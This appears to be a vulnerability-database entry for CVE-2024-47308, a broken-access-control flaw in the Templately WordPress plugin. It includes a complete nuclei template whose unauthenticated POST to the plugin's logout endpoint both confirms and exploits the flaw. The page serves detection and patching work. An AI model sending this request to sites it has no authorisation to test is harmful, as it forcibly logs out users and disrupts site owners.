HexBrain

Browse / CVEs / CVE-2024-47308

CVE-2024-47308· templately / templately· CWE-862

Templately <= 3.1.2 - Broken Access Control

mediumseverity
6.5CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

Templately allow an attacker to logout users who signed in to their templately account, so you can sign in your templately account to exploit this vulnerability. Go to http://IP/wordpress/wp-admin/admin.php?page=templately&path=sign-in to sign in then logout.

Impact

Attackers can access restricted functionalities, potentially leading to unauthorized actions or data exposure.

Fix

Update to the latest version of Templately that addresses this issue.

How to confirm it

Send: POST /wp-json/templately/v1/logout?_locale=user
Positive when: status_code == 200 and contains_all(body, "status\":\"success","message\":\"Logged out.")

Run it with nuclei: nuclei -id CVE-2024-47308 -u <target>

The full check
id: CVE-2024-47308

info:
  name: Templately <= 3.1.2 - Broken Access Control
  author: popcorn94
  severity: medium
  description: |
    Templately allow an attacker to logout users who signed in to their templately account, so you can sign in your templately account to exploit this vulnerability. Go to http://IP/wordpress/wp-admin/admin.php?page=templately&path=sign-in to sign in then logout.
  impact: |
    Attackers can access restricted functionalities, potentially leading to unauthorized actions or data exposure.
  remediation: |
    Update to the latest version of Templately that addresses this issue.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/templately/templately-312-missing-authorization
    - https://patchstack.com/database/vulnerability/templately/wordpress-templately-plugin-3-1-2-broken-access-control-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2024-47308
    cwe-id: CWE-862
    epss-score: 0.01744
    epss-percentile: 0.7797
    cpe: cpe:2.3:a:templately:templately:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: templately
    product: templately
    framework: wordpress
  tags: cve,cve2024,wpscan,wp-plugin,templately,wordpress,vkev,vuln

http:
  - raw:
      - |
        POST /wp-json/templately/v1/logout?_locale=user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "status\":\"success","message\":\"Logged out.")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from